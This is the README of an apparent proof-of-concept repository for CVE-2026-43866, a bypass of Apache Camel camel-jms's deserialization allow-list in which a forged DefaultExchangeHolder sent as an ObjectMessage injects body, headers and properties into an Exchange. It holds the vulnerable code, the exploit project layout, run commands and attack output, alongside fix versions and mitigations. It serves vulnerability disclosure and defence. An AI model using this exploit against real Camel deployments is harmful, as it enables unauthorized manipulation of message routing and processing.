
CVE-2026-43866 の再現コード — Apache Camel camel-jms における偽造された DefaultExchangeHolder による CVE-2026-40860 デシリアライゼーションフィルターのバイパス (Exchange-state インジェクション)
このプロジェクトは CVE-2026-43866 を実証します。これは、Apache Camel の camel-jms(および camel-sjms / JMS ファミリー)コンポーネントにおける CVE-2026-40860 修正のバイパス です。CVE-2026-40860 は、受信 JMS ObjectMessage ペイロードに対して、逆シリアル化後のクラス許可リスト(java.**;javax.**;org.apache.camel.**;!*)を追加しました。しかし、org.apache.camel.support.DefaultExchangeHolder は許可リストに含まれる org.apache.camel.** 名前空間に存在するため、トップレベルのオブジェクトが DefaultExchangeHolder である ObjectMessage はチェックを通過します。受信側は、transferExchange を必要とせずにその上で DefaultExchangeHolder.unmarshal() を呼び出し、ホルダーのnullでないすべてのフィールドをルーティングされたExchange(ボディ、IN/OUTヘッダー、エクスチェンジプロパティ、変数、エクスチェンジID、例外)に書き込みます。したがって、ObjectMessage を発行できる攻撃者は、汎用的に信頼されている java.* 型のみを使用して任意のExchange状態を注入でき、逆シリアル化ガジェットチェーンは不要 で、ルーティング、ヘッダー、プロパティ、エラーハンドリングを操作できます。
アドバイザリ: https://camel.apache.org/security/CVE-2026-43866.html
// JmsBinding.extractBodyFromJms(...) - affected 4.18.2
if (message instanceof ObjectMessage objectMessage) {
Object payload = objectMessage.getObject();
checkDeserializedClass(payload); // CVE-2026-40860 allow-list: java.**;javax.**;org.apache.camel.**;!*
if (payload instanceof DefaultExchangeHolder holder) { // <-- DefaultExchangeHolder is org.apache.camel.** -> passes
DefaultExchangeHolder.unmarshal(exchange, holder); // <-- writes forged state into the Exchange; NO transferExchange gate
Map<String, Object> jmsHeaders = extractHeadersFromJms(message, exchange);
exchange.getIn().getHeaders().putAll(jmsHeaders);
return exchange.getIn().getBody();
} else {
return payload;
}
}
非対称性: 送信側は ObjectMessage/transferExchange の生成を制限しますが、受信側は逆シリアル化した任意の DefaultExchangeHolder をアンマーシャルします。修正 (4.14.8 / 4.18.3 / 4.21.0) では、新しい objectMessageEnabled オプション (security = "insecure:serialization", デフォルト false) が追加されました。明示的に有効にしない限り、受信 ObjectMessage はまったく逆シリアル化されないため、偽造されたホルダーが unmarshal() に到達することはありません。(これは、ObjectMessage / transferExchange に依存するルートにとって破壊的変更です。)
JMSプロバイダーの許可リストは役に立ちません。 このPoCは、ActiveMQクライアントを現実的でロックダウンされた
trustedPackages = [java, javax, org.apache.camel]で構成しています。org.apache.camelエントリは、正当なtransferExchangeを使用するデプロイメントが信頼しなければならないものです。偽造されたホルダーは、それ自体がDefaultExchangeHolderであり、そのフィールドはすべて信頼されたjava.*型であるため、正当なものと区別がつかず、依然として通過します。
from("jms:queue:cve") // mapJmsMessage defaults to true; transferExchange NOT set
.process(exchange -> { /* observes the injected body / headers / properties */ });
被害者は Camel JMS コンシューマーです。攻撃者はキューに発行できる任意のプロデューサーです。両方とも実際の Apache ActiveMQ Artemis ブローカー (Docker) と通信します。
CVE-2026-43866/
├── pom.xml # camel-jms 4.18.2 + activemq-client 6.2.4 (ガジェットライブラリなし)
├── Dockerfile # アプリを実行 (--add-opens なし、ガジェットなし)
├── docker-compose.yml # Artemis ブローカー (quay.io) + 再現アプリ
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── JmsConfig.java # OpenWire ConnectionFactory (trustedPackages incl. org.apache.camel) + jms コンポーネント
│ ├── VictimRoute.java # 被害者: from("jms:queue:cve"); ルートが観測した内容を記録
│ ├── CapturedState.java
│ ├── ForgedHolderFactory.java # 公開 marshal() API を使用して DefaultExchangeHolder を構築
│ └── ExploitController.java # 攻撃者: 偽造ホルダーを ObjectMessage として発行
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Published a forged DefaultExchangeHolder as a JMS ObjectMessage to queue 'cve'.
# ...
# body = INJECTED-BODY-... (injected: true)
# header = pwned-header-... (injected: true)
# property = pwned-property-... (injected: true)
#
# >>> Exchange-state injection proof — attacker controlled body+header+property: true
ルートは、自身が設定したことのないボディ、ヘッダー、プロパティで実行されました — すべて攻撃者の偽造ホルダーによって提供されました。
docker compose down
mapJmsMessage=true(デフォルト)が設定された任意の Camel JMS コンシューマー(camel-jms、camel-sjms、camel-sjms2、camel-amqp、camel-activemq、camel-activemq6)で、攻撃者が発行可能な宛先から読み取るもの。コンシューマーで transferExchange が有効である必要はありません。
mapJmsMessage=true (デフォルト) が設定されている。DefaultExchangeHolder である ObjectMessage をエンキューできる。transferExchange を使用するデプロイメントでは、プロバイダーはすでに org.apache.camel を信頼していることを意味します。ガジェットライブラリは不要です。4.14.8 / 4.18.3 / 4.21.0 にアップグレードしてください (CAMEL-23373 / CAMEL-23409)。JMS ObjectMessage の処理は、新しい objectMessageEnabled オプションによってデフォルトで無効になっています。信頼されたプロデューサーのみがフィードする宛先に対してのみ有効にしてください。
アップグレードするまでの対応:
ObjectMessage のボディを信頼されていないネットワークにマッピングするJMSコンシューマーを公開しない。DefaultExchangeHolder のみを使用します)。この再現コードは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみを目的として提供されています。明示的な許可なくシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| コンポーネント | camel-jms (+ camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) |
| 影響を受けるクラス | org.apache.camel.component.jms.JmsBinding#extractBodyFromJms → DefaultExchangeHolder.unmarshal |
| CWE | CWE-502 (信頼できないデータの逆シリアル化) + CWE-20 (不適切な入力検証) |
| 影響 | Exchange状態の注入: 攻撃者制御のボディ、ヘッダー、プロパティ、変数、例外 |
| 性質 | CVE-2026-40860 クラスフィルタ修正のバイパス(修正自体の欠陥ではない) |
| 影響を受けるバージョン | 3.0.0 から 4.14.8 未満、4.15.0 から 4.18.3 未満、4.19.0 から 4.21.0 未満 |
| 修正バージョン | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23373 (jms), CAMEL-23409 (sjms) |
| 報告者 | gaorenyusi |